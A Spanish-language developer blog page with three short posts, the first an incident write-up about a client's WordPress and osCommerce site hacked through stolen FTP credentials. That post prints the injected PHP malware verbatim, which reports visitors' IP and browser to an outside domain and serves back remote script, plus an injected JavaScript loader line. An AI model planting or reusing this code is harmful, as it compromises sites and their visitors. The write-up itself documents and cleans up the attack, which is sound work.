2014-03-31

Sitio hackeado por ftp

El jueves pasado me llamó un viejo cliente sobre una web que hice hace 4 años. Si buscabas el dominio en Google le aparecía como código malicioso y no podía entrar. El sitio tenía varios wordpress, una sección hecha por mi en php y un oscommerce. Al parecer inyectaron un código en todos los ficheros acabados en header.php e index.php:

error_reporting(0); ini_set('display_errors',0); $wp_hm76 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_hm76) && !preg_match ('/bot/i', $wp_hm76))){
$wp_hm0976="http://"."error"."template".".com/template"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_hm76);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_hm0976);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_76hm = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_76hm,1,3) === 'scr' ){ echo $wp_76hm; }

Este código se conecta a un servidor dándole información sobre nuestra url y sobre nuestro navegador.Después puede descargar cualquier de forma automática cualquier código que haya en ese servidor.

Viendo las fechas de modificaciones de ficheros ví que un par de meses después se inyectó código en numerosos archivos con extensión .js



document.write(" script src="http://smartbue.com.ar/zr4txTdc.php" type="text/javascript"></"+ "script>");

En ese caso, utilizan otro dominio infectado para descargar ficheros o lo que sea.
Después de revisar tanto wordpress y Oscommerce analicé los accesos vía ftp y voilà. Los días de los cambios de ficheros hubo acceso desde ip alemana y austriaca el segundo día.

Creo que no vale la pena investigar esas ips.

Cambio de contraseña y comunicar a mi cliente que revise sus equipos en busca de troyanos que buscan passwords de ftp. Sobretodo no utilizar filezilla. Todos sabemos ya que guarda las contraseñas en texto plano.

Por cierto , después de reportar a Google que el sitio ya no estaba infectado tardó menos en 12 horas en volverse a mostrar.

2014-03-21

Visibility hidden y display none

Maquetando con css solemos ocultar display:none; para ocultar distintos elementos. Al ocultarlo desaparece completamente pero si lo necesitamos invocar por javascript y darle la propiedad de por ejemplo display:block; para que se haga visible vemos como aparece ese espacio que tiene y puede efectuar un cambio raro que no nos guste. Los efectos visuales raros siempre hay que evitarlos en maquetación. Para evitar eso y si sobretodo vamos a utilizar javascript es mejor utilizar la propiedad css visibility con sus valores hidden y visible. Esta propiedad oculta el elemento sobre el cual se está referenciando pero no oculta el espacio que ocupa.

2014-03-19

Buscar archivos en la carpeta actual linux

si queremos buscar archivos en la carpeta actual de linux por consola y que además busque en los directorios inferiores basta con ejecutar la siguiente orden

find . -name "*.xcf"

De esta forma, estamos buscando ficheros de Gimp que se encuentran en la carpeta actual y en los directorios incluidos en esta carpeta.